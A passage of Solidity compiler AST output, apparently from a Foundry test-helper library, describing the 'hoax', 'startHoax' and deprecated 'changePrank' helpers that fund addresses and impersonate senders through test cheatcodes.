omitted)...1456"}],"expression":{"id":5645,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25207:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5647,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25210:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25207:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5652,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25207:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5653,"nodeType":"ExpressionStatement","src":"25207:28:3"},{"expression":{"arguments":[{"id":5657,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5640,"src":"25254:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5658,"name":"origin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5642,"src":"25265:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5654,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25245:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5656,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25248:5:3","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15334,"src":"25245:8:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":5659,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25245:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5660,"nodeType":"ExpressionStatement","src":"25245:27:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"hoax","nameLocation":"25140:4:3","parameters":{"id":5643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5640,"mutability":"mutable","name":"msgSender","nameLocation":"25153:9:3","nodeType":"VariableDeclaration","scope":5662,"src":"25145:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5639,"name":"address","nodeType":"ElementaryTypeName","src":"25145:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5642,"mutability":"mutable","name":"origin","nameLocation":"25172:6:3","nodeType":"VariableDeclaration","scope":5662,"src":"25164:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5641,"name":"address","nodeType":"ElementaryTypeName","src":"25164:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"25144:35:3"},"returnParameters":{"id":5644,"nodeType":"ParameterList","parameters":[],"src":"25197:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5686,"nodeType":"FunctionDefinition","src":"25285:158:3","nodes":[],"body":{"id":5685,"nodeType":"Block","src":"25365:78:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5674,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5664,"src":"25383:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5675,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5668,"src":"25394:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5671,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25375:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5673,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25378:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25375:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5676,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25375:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5677,"nodeType":"ExpressionStatement","src":"25375:24:3"},{"expression":{"arguments":[{"id":5681,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5664,"src":"25418:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5682,"name":"origin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5666,"src":"25429:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5678,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25409:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5680,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25412:5:3","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15334,"src":"25409:8:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":5683,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25409:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5684,"nodeType":"ExpressionStatement","src":"25409:27:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"hoax","nameLocation":"25294:4:3","parameters":{"id":5669,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5664,"mutability":"mutable","name":"msgSender","nameLocation":"25307:9:3","nodeType":"VariableDeclaration","scope":5686,"src":"25299:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5663,"name":"address","nodeType":"ElementaryTypeName","src":"25299:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5666,"mutability":"mutable","name":"origin","nameLocation":"25326:6:3","nodeType":"VariableDeclaration","scope":5686,"src":"25318:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5665,"name":"address","nodeType":"ElementaryTypeName","src":"25318:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5668,"mutability":"mutable","name":"give","nameLocation":"25342:4:3","nodeType":"VariableDeclaration","scope":5686,"src":"25334:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5667,"name":"uint256","nodeType":"ElementaryTypeName","src":"25334:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"25298:49:3"},"returnParameters":{"id":5670,"nodeType":"ParameterList","parameters":[],"src":"25365:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5707,"nodeType":"FunctionDefinition","src":"25514:134:3","nodes":[],"body":{"id":5706,"nodeType":"Block","src":"25569:79:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5694,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5688,"src":"25587:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"},"id":5697,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":5695,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25598:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"hexValue":"313238","id":5696,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25603:3:3","typeDescriptions":{"typeIdentifier":"t_rational_128_by_1","typeString":"int_const 128"},"value":"128"},"src":"25598:8:3","typeDescriptions":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}],"expression":{"id":5691,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25579:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5693,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25582:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25579:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5698,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25579:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5699,"nodeType":"ExpressionStatement","src":"25579:28:3"},{"expression":{"arguments":[{"id":5703,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5688,"src":"25631:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5700,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25617:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5702,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25620:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"25617:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5704,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25617:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5705,"nodeType":"ExpressionStatement","src":"25617:24:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"startHoax","nameLocation":"25523:9:3","parameters":{"id":5689,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5688,"mutability":"mutable","name":"msgSender","nameLocation":"25541:9:3","nodeType":"VariableDeclaration","scope":5707,"src":"25533:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5687,"name":"address","nodeType":"ElementaryTypeName","src":"25533:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"25532:19:3"},"returnParameters":{"id":5690,"nodeType":"ParameterList","parameters":[],"src":"25569:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5728,"nodeType":"FunctionDefinition","src":"25654:144:3","nodes":[],"body":{"id":5727,"nodeType":"Block","src":"25723:75:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5717,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5709,"src":"25741:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5718,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5711,"src":"25752:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5714,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25733:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5716,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25736:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25733:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5719,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25733:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5720,"nodeType":"ExpressionStatement","src":"25733:24:3"},{"expression":{"arguments":[{"id":5724,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5709,"src":"25781:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5721,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25767:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5723,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25770:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"25767:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5725,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25767:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5726,"nodeType":"ExpressionStatement","src":"25767:24:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"startHoax","nameLocation":"25663:9:3","parameters":{"id":5712,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5709,"mutability":"mutable","name":"msgSender","nameLocation":"25681:9:3","nodeType":"VariableDeclaration","scope":5728,"src":"25673:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5708,"name":"address","nodeType":"ElementaryTypeName","src":"25673:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5711,"mutability":"mutable","name":"give","nameLocation":"25700:4:3","nodeType":"VariableDeclaration","scope":5728,"src":"25692:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5710,"name":"uint256","nodeType":"ElementaryTypeName","src":"25692:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"25672:33:3"},"returnParameters":{"id":5713,"nodeType":"ParameterList","parameters":[],"src":"25723:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5752,"nodeType":"FunctionDefinition","src":"25917:158:3","nodes":[],"body":{"id":5751,"nodeType":"Block","src":"25988:87:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5738,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5730,"src":"26006:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"},"id":5741,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":5739,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"26017:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"hexValue":"313238","id":5740,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"26022:3:3","typeDescriptions":{"typeIdentifier":"t_rational_128_by_1","typeString":"int_const 128"},"value":"128"},"src":"26017:8:3","typeDescriptions":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}],"expression":{"id":5735,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25998:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5737,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26001:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25998:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5742,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25998:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5743,"nodeType":"ExpressionStatement","src":"25998:28:3"},{"expression":{"arguments":[{"id":5747,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5730,"src":"26050:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5748,"name":"origin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5732,"src":"26061:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5744,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26036:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5746,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26039:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15462,"src":"26036:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":5749,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26036:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5750,"nodeType":"ExpressionStatement","src":"26036:32:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"startHoax","nameLocation":"25926:9:3","parameters":{"id":5733,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5730,"mutability":"mutable","name":"msgSender","nameLocation":"25944:9:3","nodeType":"VariableDeclaration","scope":5752,"src":"25936:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5729,"name":"address","nodeType":"ElementaryTypeName","src":"25936:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5732,"mutability":"mutable","name":"origin","nameLocation":"25963:6:3","nodeType":"VariableDeclaration","scope":5752,"src":"25955:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5731,"name":"address","nodeType":"ElementaryTypeName","src":"25955:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"25935:35:3"},"returnParameters":{"id":5734,"nodeType":"ParameterList","parameters":[],"src":"25988:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5776,"nodeType":"FunctionDefinition","src":"26081:168:3","nodes":[],"body":{"id":5775,"nodeType":"Block","src":"26166:83:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5764,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5754,"src":"26184:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5765,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5758,"src":"26195:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5761,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26176:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5763,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26179:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"26176:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5766,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26176:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5767,"nodeType":"ExpressionStatement","src":"26176:24:3"},{"expression":{"arguments":[{"id":5771,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5754,"src":"26224:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5772,"name":"origin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5756,"src":"26235:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5768,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26210:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5770,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26213:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15462,"src":"26210:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":5773,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26210:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5774,"nodeType":"ExpressionStatement","src":"26210:32:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"startHoax","nameLocation":"26090:9:3","parameters":{"id":5759,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5754,"mutability":"mutable","name":"msgSender","nameLocation":"26108:9:3","nodeType":"VariableDeclaration","scope":5776,"src":"26100:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5753,"name":"address","nodeType":"ElementaryTypeName","src":"26100:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5756,"mutability":"mutable","name":"origin","nameLocation":"26127:6:3","nodeType":"VariableDeclaration","scope":5776,"src":"26119:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5755,"name":"address","nodeType":"ElementaryTypeName","src":"26119:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5758,"mutability":"mutable","name":"give","nameLocation":"26143:4:3","nodeType":"VariableDeclaration","scope":5776,"src":"26135:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5757,"name":"uint256","nodeType":"ElementaryTypeName","src":"26135:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"26099:49:3"},"returnParameters":{"id":5760,"nodeType":"ParameterList","parameters":[],"src":"26166:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5797,"nodeType":"FunctionDefinition","src":"26255:218:3","nodes":[],"body":{"id":5796,"nodeType":"Block","src":"26312:161:3","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"6368616e67655072616e6b20697320646570726563617465642e20506c656173652075736520766d2e73746172745072616e6b20696e73746561642e","id":5782,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26345:62:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_bf508b7e551ac53ebc43878423035cd08b5a26a319837cc862ef3353a105823a","typeString":"literal_string \"changePrank is deprecated. Please use vm.startPrank instead.\""},"value":"changePrank is deprecated. Please use vm.startPrank instead."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bf508b7e551ac53ebc43878423035cd08b5a26a319837cc862ef3353a105823a","typeString":"literal_string \"changePrank is deprecated. Please use vm.startPrank instead.\""}],"id":5781,"name":"console2_log_StdCheats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6329,"src":"26322:22:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) view"}},"id":5783,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26322:86:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5784,"nodeType":"ExpressionStatement","src":"26322:86:3"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5785,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26418:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5787,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26421:9:3","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"26418:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":5788,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26418:14:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5789,"nodeType":"ExpressionStatement","src":"26418:14:3"},{"expression":{"arguments":[{"id":5793,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5778,"src":"26456:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5790,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26442:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5792,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26445:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"26442:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) 